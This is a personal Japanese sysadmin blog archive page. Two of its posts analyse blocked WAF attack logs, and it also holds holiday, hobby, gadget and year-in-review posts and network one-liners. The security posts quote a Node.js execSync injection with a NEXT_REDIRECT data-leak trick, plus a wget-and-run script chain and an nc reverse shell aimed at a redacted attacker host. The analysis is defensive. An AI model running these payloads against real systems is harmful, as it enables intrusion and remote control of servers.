投稿者: manualmaton Page 26 of 303

【ログ記録】Next.js/Node.js環境を標的にしたサンドボックス脱出と情報窃取試行

2025年12月31日早朝に検知された攻撃ログ。前回の単純な破壊工作とは異なり、システムの内部情報(カレントディレクトリ等)を奪取し、それをクエリパラメータとして外部へ持ち出そうとする「偵察型RCE」の典型例だったのでメモをしておきます。

検知ログの概要(匿名化済み)

[Wed Dec 31 05:25:08 2025] [security2:error]
[ModSecurity: Warning] [ID "934100"] [Severity: CRITICAL]
[Message: Node.js Injection Attack 1/2]
[Matched Data: process.mainModule.require('child_process').execSync('pwd')]

攻撃ペイロードの構造解析

今回の攻撃者は、Next.jsのサーバーアクションや特定のSSR(サーバサイドレンダリング)の脆弱性を想定した、非常にテクニカルなコードを注入しています。

JavaScript実行環境への介入

var res = process.mainModule.require('child_process').execSync('pwd').toString().trim();
  • process.mainModule を経由して、サンドボックス化されている可能性のある環境から child_process(OS操作モジュール)を強制的に呼び出しています。
  • execSync('pwd') を実行することで、「現在、サーバのどのディレクトリでプログラムが動いているか」という、次なる攻撃(設定ファイルの奪取など)のための足がかりとなる情報を取得しようとしています。

Next.jsの内部挙動を悪用した情報の持ち出し

throw Object.assign(new Error('NEXT_REDIRECT'), {
    digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

ここが非常に巧妙だと思った点。Next.jsがリダイレクトを処理する際の内部エラー NEXT_REDIRECT を意図的に投げ(throw)、そのエラーオブジェクトの中に、先ほど取得したディレクトリ情報(${res})を埋め込んでいます。

  • これにより、攻撃者のブラウザ(あるいはボット)は、/login?a=/home/www-data/... というURLに強制的に飛ばされます。
  • 攻撃者は自分のサーバのアクセスログを見るだけで、ターゲットサーバの内部パスを手に入れることができる仕組みです。

防御側の対応と結果

  • 検知: ModSecurity CRSの 934100(Node.js Injection)が、child_processexecSync といった危険な関数呼び出しを完全にパターンマッチング。
  • 阻止: 前回同様、アプリケーション層に到達する前に403遮断(設定により404応答)。
  • 分析: 攻撃者はRedmine(Ruby on Rails)に対し、あえてNode.js/Next.js用の高度なペイロードを投げています。これは「何で動いているか分からないが、とりあえず流行りの脆弱性コードを全部試す」という、 スキャンから自動攻撃までシームレスに移行するボット*の挙動です。

技術的考察:2025年を締めくくった「贈り物」

このログが示しているのは、攻撃側がいかに「多様な環境」を想定した多角的な攻撃を自動化しているかという事実です。

しかし、設置したModSecurityは、相手がRubyを狙おうがNode.jsを狙おうが、「外部から実行コードが注入される」という本質的な異常を逃しませんでした。

年始のお節群。

2026年も美味しい食事を味わいました。

日本海の味覚が詰まったお節。

お世話になっている方からの渾身のお節

など、今年は、いつになく美味しいものをいただけました。

年明けボードゲーム『大鎌戦役』ソロプレイ。

年明けのボードゲームとして選んだのは、物理の『大鎌戦役』

こちらが選んだのは『ザクセン帝国』。使ったマットはエンジニアリング。

「オートマ」の奥深さにやられました。

カードのオートマという気まぐれな意志決定機関に振り回され、私の思考回路が追いつかず、イージーでも辛勝した事実。

71-53で勝ってはいますが、オートマの星章獲得の速さで、終盤、なりふり構わず領土拡大にシフトしたため勝てた次第です。

そこで改めて思ったのが

Warhammerを嗜む友人の手によるキャラクターとメックの詳細なペイント」

の時点で神棚ではなく戦場の第一線で使うべきものです。

  • 海外から取り寄せたオーガナイザーによりセットアップと収納を劇的に楽にして
  • リアリスティックリソースとメタルコインという没入感

何よりも「物理的なコンポーネントを手にする満足感」。これは、面倒なアナログのセットアップを帳消しにするほどの楽しさです。

今年こそもう少し回したいと思った次第です。

年越しの組み立て。

「これをやらないとこの年は終わらない」と思った結果です。

2025年、プライムデーでしれっと手に入れていた『スリザリンの紋章/談話室レゴ』。

「巳の年の締めくくり」にこれ以上のものはない

思いつつ組み立て。

パーツの割に分厚いインストラクション。これは相当かかりそうだと思いながら

完成。映画1本分を消費する程度の組み立て時間でした。

展開することで、あの映画の談話室をイメージできるようになっているのが高ポイント。

きちんと壁掛けの強度もあるのも良かったです。

2025年のZENタイル。

今年は余裕ができたので、2025年の振り返りを改めてZENタイルで行おうと思います。

全体概要

前半が厳しく、後半に天気があり、加速したという形。

2025年前半の辛さ

年の前半は本当にキツかったです。仕事でもプライベートでも。

  • 150日の亡霊とのまっただ中で「いつまでこの課金は続くのか?」という不安
  • 猫の体調不良→虹の橋を渡るまでの辛さ

そんな中「絶対にこの結末は見届ける」という癸亥が生まれ、それを乗り切った中では

2025年後半の楽しさ

一番顕著だったのがThinkPadの購入により、行動範囲どころか思考回路が変わり

  • 散歩の習慣が復活
  • サーバ刷新という行動力

などが生まれ、仕事にも余裕が出てきたという次第。

  • 日記
  • WordPressの更新

も365日キチッと終えました。そんな中で、改めて思ったのが『アカギ』対市川戦

手段は選ばない
地獄を一度くぐっちまうことさ 南郷さん
ツキの女神はいつだって
その先にしゃがみ込んでいる

を体現した2025年でした。2026年はこの好調を維持できることを願うばかりです。

Linux Webサーバのログから見るモダンな攻撃例。

2025年12月末、筆者が検知する管理サーバにて検知された高スコア(Anomaly Score: 78)の攻撃ログです。現代的な脆弱性を複合的に狙った、非常に教育的(サンプルとして優秀)なログとして記録します。

検知ログの概要(匿名化済み)

[ModSecurity: Access denied with code 403 (phase 2)]
[Inbound Anomaly Score Exceeded (Total Score: 78)]
[Severity: CRITICAL]
[Attack breakdown]:
 - RCE (Remote Code Execution): 65
 - SQLI (SQL Injection): 5
 - LFI (Local File Inclusion): 5
 - COMBINED_SCORE: 78

攻撃ペイロードの構造解析

攻撃者はJSONオブジェクトに偽装したパケットを送りつけ、以下の多層的なエクスプロイトを試みていました。

プロトタイプ汚染(Prototype Pollution)

"__proto__": { "then": "$1:__proto__:then" }

これは近年のモダンなWebサーバ。Next.js / Node.js等の環境において、オブジェクトの基本プロトタイプを書き換え、アプリケーション全体の挙動を制御しようとする試みです。

OSコマンド注入(Remote Code Execution)

JSONの内部に、バックドアを構築するためのOSコマンドが多重に仕込まれていました。(RCE攻撃)

# 攻撃者が意図した処理(推定)
cd /tmp;
wget -O /tmp/x.sh http://[REDACTED_ATTACKER_SERVER]/weball.sh; # 攻撃スクリプトの取得
chmod +x /tmp/x.sh;
sh /tmp/x.sh; # 実行
mkfifo /tmp/f; 
cat /tmp/f | /bin/sh -i 2>&1 | nc [REDACTED_IP] [PORT] > /tmp/f; # リバースシェルの確立

3. 防御側の対応と結果

とはいえ、この手の防御はしっかりとWAFが検知していました。

  • 検知: ModSecurity(OWASP CRS)により、JSON構造内の不審なシグネチャを即座に捕捉。
  • 判定: 異常スコア 78。防御しきい値(通常5)を大幅に超過。
  • 結果: アプリケーション層に到達する前にApacheが通信を遮断し、404 Not Found(403から偽装応答)を返却。サーバへの影響はありませんでした。

解説メモ

この攻撃は、ターゲットが特定のフレームワーク(Node.jsや特定のJSONパーサ)を使用していることを期待した「下手な鉄砲も数撃ちゃ当たる」式の乱射ですが、その内容はRCEを主軸とした極めて悪質なものです。

しかし、堅牢なWAF設定とIP遮断フィルタの前では、これほど複雑に組み上げられたペイロードも、「500バイト程度の無意味な文字列」に成り下がります。

漫画『ONE OUTS』にも引き合いに出された

「『いい鉄砲は打ち手を選ぶ』ってことわざ知ってるか?
威力のある鉄砲は その分扱いも難しく危険
だから未熟者が使うと打ち手の方がケガをするってことさ」

が自分へ向かうことのないよう、日々、管理/監視を怠らないようにする必要があると知った出来事でした。

2025年に買った中で印象的なガジェット。

2025年、いろいろと購入したガジェットがいくつもありました。その中で特に印象的だったもの。

ホグワーツ4寮の限定AL-Star

「今年は万年筆を買わなくていいな」というもくろみが大きく崩れ去り「このままでは余計な出費をしなくて済む」まで打ち砕いた逸品。

  • No Time
  • No Choise
  • Without Thinking

の衝動買いの見本のようなもの。改めて「万年筆で書く楽しさ」に気づかせてくれたものです。

Garmin Instinct E

こちらも、バッテリーの持ちが悪いというストレスを元から絶った形。より軽く、心持ち薄く、完全にフィットしてQoEが上がりました。

iPhone AIR

6年ぶりの機種変。これによって得られたものは

  • 長持ちしたバッテリー
  • 軽さ
  • 速さ。

世間ではいろいろ言われているようですが、自分に刺さったのがこの機種でした。

Thinkpad X13 2020年モデル

これは本当に大きいもの。

  • 打ちやすいキーボード
  • 長持ちしたバッテリー
  • 何よりもLinuxサーバに気軽にアクセスできるWindows環境

など、私の生活リズムそのものを変えたという形。

なお、このThinkPadは少し変化があるかもしれませんが

  • アナログによる記録
  • スマートウォッチという体調管理
  • スマートフォン、ノートPCという「デジタルの杖」

の三段構えは2026年も続けていくでしょう。

2025年のサーバ設定のまとめ。

今年はサーバ運用で色々とありましたので、年末らしい振り返りを。

1~4月:地獄だったが学びのあった「150日の亡霊」

「MongoDBをs3fsで繋いでしまった」

ことによる課金地獄。

とはいえ、これにより

  • クラウドストレージの正しい使い道
  • 合う運用/合わない運用

何よりも

「全ての責任が自分である以上、最後まで問題に取り組む」

という、エンジニアの必須スキルを改めて学べました。

5月:取れてしまったドメイン。

元々、VPS運用を更に決定づけたドメイン「reisalin.com」の所有者ではありますが、新たに「ryza.jp」というわずか4文字で意味あるドメインが取れたことで、ますます「サーバ運用に真摯に向き合う」気概が生まれました。

8月:VPS変更。WebArena→XServerに。

月額980円キャンペーン期間が切れるタイミングでXServerに切り替え。月額1400円程度に上がりましたが、その分、

CPUモデル : AMD EPYC-Milan Processor
CPUコア数 : 4
合計メモリ : 5.78 GiB
利用可能メモリ : 1.97 GiB
合計スワップ : 2.00 GiB

に底上げ。

余談:上記を一発で知るワンライナー

CPUとメモリを知ることができるワンライナーです

awk 'BEGIN {FS=":"; OFS="\t"} /^model name/ && !cpu_model {cpu_model=$2; gsub(/^ */, "", cpu_model)} /^processor/ {cores++} /^MemTotal/ {mem_total=$2} /^MemAvailable/ {mem_avail=$2} /^SwapTotal/ {swap_total=$2} END {printf "CPUモデル\t: %s\n", cpu_model; printf "CPUコア数\t: %s\n", cores; printf "合計メモリ\t: %.2f GiB\n", mem_total/1024/1024; printf "利用可能メモリ\t: %.2f GiB\n", mem_avail/1024/1024; printf "合計スワップ\t: %.2f GiB\n", swap_total/1024/1024}' /proc/cpuinfo /proc/meminfo

この底上げは何がありがたいかというと、今まで諦めていた

  • Growi
  • Redmine
  • BookStack
  • NextCloud

の同時稼働ができるようになったこと。また、折角だからとmod-phpからphp-fpmへとよりセキュアな構成にできたのもありがたいです。

10~11月「ONE OUTSシステムの刷新」

  • ModSecurity
  • Apache
  • シェルスクリプト

の三構成によりオープンソースでありながら十分なセキュリティ強度を持たせた「ONE OUTS」を

「自分の投稿は偽陽性にならず、相手の疑わしい攻撃を検知する」

ものへと刷新することができました。

12月「クリスマスアタック」

直近の出来事ですが、これをは特に印象深い出来事です。12月25日というクリスマスの朝、自サーバを襲ったDDoS。これを「前もって用意していた」ipsetでカウンターで来たことは何より重畳。

最後に

昨年末の「Wasabiクラウドの重課金」は「これ、私、今後、vpsを運用する資格があるのか?」思いましたが:

「資格? 馬鹿野郎、誰もそんなもの持ってねぇんだ! いいか、あるのは責任だけだ。戦う責任! あの子を傷つけちまった責任! そいつを果たすには、この地球を守るしかねぇんだ!
 俺は慰めねぇぞ。励ますつもりもねぇ。自分の責任は自分でとれ! 立ち上がってこい、ダイモン! そしたら俺たちはいくらでも支えてやる」
 ――『救急戦隊ゴーゴーファイブ』第27話『イエロー戦線離脱!』

この言葉に救われました。このおかげで、今年は乗り切ることができたということで、今年のサーバ運用の締めくくりとしたいです。

IDEA SPHERE『坂道と、選ばれなかった物差し』

IDEA SPHEREとして、8年ほど前の記憶を。

発端

今でも乗っているブロンプトンで、(当時は1年も発っていない新車でした)奥秩父から祖父宅へと向かう途上です。

見通しはいいが延々と続く、なかなか骨の折れる上り坂の麓にさしかかろうかという中、

前方に二人のロードバイク乗りがいました。

  • 一人はフルカーボンに高級コンポーネント、引き締まった体つきの年配の方。
  • もう一人は、明らかにおろしたてのピカピカのロードに乗った30代くらいの男性

こちらを見るなり、二人がニヤニヤと笑ったのを覚えています。(特に年配の方)

やがて坂道にさしかかり、しばらくして、後ろにいた新しいロードの方が、勢いよく私を抜いていきました。

「おお、飛ばすなあ」

ぐらいの心境です。そもそも速度に差がある小径車とロードバイク。競うつもりは端からありません。

違和感

ところが、しばらくすると前方の自転車(というよりも自転車乗り)に違和感がありました。

  • 明らかに速度が落ちています。
  • ペダリングが不安定。
  • 脇腹をかばっているのが遠目にも分かります。

差は、少しずつ、しかし確実に縮まっていったわけです。

斜度が一番きつい区間を越え、ようやく平坦に近いところへ出た瞬間、私はそのロードを抜きました。

すると、後ろで見ていたであろう年配のローディが、すごい勢いでのぼってきて、新しいロードの前に立ち、何かを強い口調で言い始めました。

「こんなのに負けてちゃ、上達しないぞ」
「こうやってダンシングするんだ」

その瞬間、流石に気づきます。

私は当て馬にされたのかと。

  • 小径車。
  • 折り畳み。
  • ギアも少ない。
  • 前にバッグ。
  • 普段着
  • ビンディングも無し。

彼らから見れば、極上の“かませ犬”だったのだと思います。

物語の終わり

しかし、彼等には3つの誤算がありました。

地の利

祖父宅の近くとあるように、実質地元民です。どこで力を使い、キツいところと楽なところはどこか? 適切な力配分は? と体で知っていたこと。

「小径車が有利になる状況」

  • 慣性モーメントの小ささ
    • ロードの700Cホイールに比べ、16インチのブロンプトンのホイールは圧倒的に軽く、回転させ始める(あるいは加速を維持する)ためのエネルギーが少なくて済みます。
  • 低速域での粘り
    • 急勾配で速度が落ちた際、大きな車輪を回し続けるのは筋力的に大きな負担(高トルク)がかかりますが、小径車は軽い力でクルクルと回し続けることが可能です。

「戦力の過小評価」

これが最も致命的。

年配のローディーが犯した最大のミスは、「乗り手というエンジンの性能」と「経験値」を無視したことです。

こんな、素人に毛が生えた(ように見える)私を、小径車というだけで判断。

なにせカーボンとクロモリフレーム。軽さは歴然です。ギアもウェアの性能も明らかです。初心者に自信をつけさせるには十分な理があったのでしょう。

しかしながら、ロードの方々はブロンプトンのしなやかな剛性と「長距離を淡々と走ることができる『折りたたみ』自転車」という認識が欠けていて、私はその乗り方に合っていた。

ここで思うこと

この出来事を未だに昨日のことのように思い出すのは、私の普段のサーバ運用のスタイルと重なるからです。

「目的を見失ってはいけない」

サーバにしても、自転車にしても、その目的の本質は「安全性」です。特に、自転車はITと異なり「切り戻し」ができません。(できたらそれこそ魔法か何かです)

何かに勝つのは確かに重要ではありますが、「本質を見失っていないか?」「その勝負に適した獲物は?」「相手が有利、自分が不利な状況は?」を自答していく覚悟が問われました。

「相手に敬意を払う」

これは父が生前言っていた

「戦う相手には常に敬意を払え。その上で全力で叩き潰せ」

という言葉。これには続きがあり、父が夢枕に立ち

「これは、敬意を払わないと必ず慢心を生む。その慢心は油断になるという意味だからな」

とわざわざ但し書きをしたほどです。

まとめ:「道具に使われるか、道具が選ぶか」

またこれを引き合いに出しますが、『ハリー・ポッターと賢者の石』のオリバンダー翁の

The wand chooses the wizard, Mr. Potter. It's not always clear why
「杖が魔法使いを選ぶのです、Mr.ポッター。何故そうなるかは、はっきりとは分かりませんが」

に通じるものがあります。

高価な道具を使うことで自分が強くなったと錯覚してしまう。これは「自転車を楽しむ」ことではなく「他者と比較して優越感に浸る」ことが目的化している状態です。

抜かれた後に新人に説教を始めた年配者も、結局は「自分の見立てが外れた恥ずかしさ」を新人に転嫁しているに過ぎません。本来、自転車は自由な乗り物であり、他者を格付けするための道具ではないはずです。

結局の所、「道具と使い方、その覚悟」が問われる出来事だったので、未だに鮮明に覚えているんだろうなと思います。

『フルメタル・パニック ふもっふ』の『仁義なきファンシー』の

「貴様はひとつミスを犯した」
「敵の戦力は過小評価しないことだ。」

という真理を持って、本稿を締めくくりたいと思います。

サーバのネットワーク情報を一覧で見るためのワンライナー。(RHEL系/Ubuntu系)

設計書を書く際に面倒な「サーバの設定値の抜き出し」を楽にするためのコマンドです。

RHEL系

  • Red Hat Enterprise
  • Rocky
  • Alma

など、dnfで管理するタイプのコマンドです。

{ echo -e "| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |"; echo -e "| --- | --- | --- | --- |"; nmcli -t -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show | awk -F: '/^GENERAL.DEVICE/ {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns; dev=$2; addr=gw=dns="-"; next} /^IP4.ADDRESS/ {addr=$2; next} /^IP4.GATEWAY/ {gw=$2; next} /^IP4.DNS/ {dns=(dns=="-" ? $2 : dns ", " $2); next} END {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns}'; }

| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |

実行と同時に、こういうマークダウンができあがります。(IPはダミーです)

インタフェースIPv4 アドレスゲートウェイDNS
ens192192.0.2.10/24192.0.2.18.8.8.8, 8.8.4.4
ens224198.51.100.50/24198.51.100.11.1.1.1
virbr0192.168.122.1/24--
docker0172.16.0.1/16--
lo127.0.0.1/8--

Ubuntu系

  • Debian
  • Ubuntu
  • LinuxMint

など、aptを用いるLinuxディストリビューションです。

Ubuntuはnmcliを用いないので、同じようにいきません。

{
  echo "| インタフェース | IPv4 アドレス | ゲートウェイ | DNS |"
  echo "| --- | --- | --- | --- |"
  nmcli -t -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show | \
  awk -F: '/^GENERAL.DEVICE/ {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns; dev=$2; addr=gw=dns="-"; next} 
           /^IP4.ADDRESS/ {addr=$2; next} 
           /^IP4.GATEWAY/ {gw=$2; next} 
           /^IP4.DNS/ {dns=(dns=="-" ? $2 : dns ", " $2); next} 
           END {if (dev) printf "| %s | %s | %s | %s |\n", dev, addr, gw, dns}'
}

これの実行結果は

インタフェースIPv4 アドレスゲートウェイDNS
br-dummy0110.0.0.1/16-(br-dummy01):
docker0172.16.0.1/16-(docker0):
eth0192.0.2.15/24192.0.2.1(eth0):, 8.8.8.8, 1.1.1.1
veth_abc123--(veth_abc123):
veth_def456--(veth_def456):
veth_ghi789--(veth_ghi789):

これをどっかに仕込んでおくだけでも管理は楽になります。

Page 26 of 303

Powered by WordPress & Theme by Anders Norén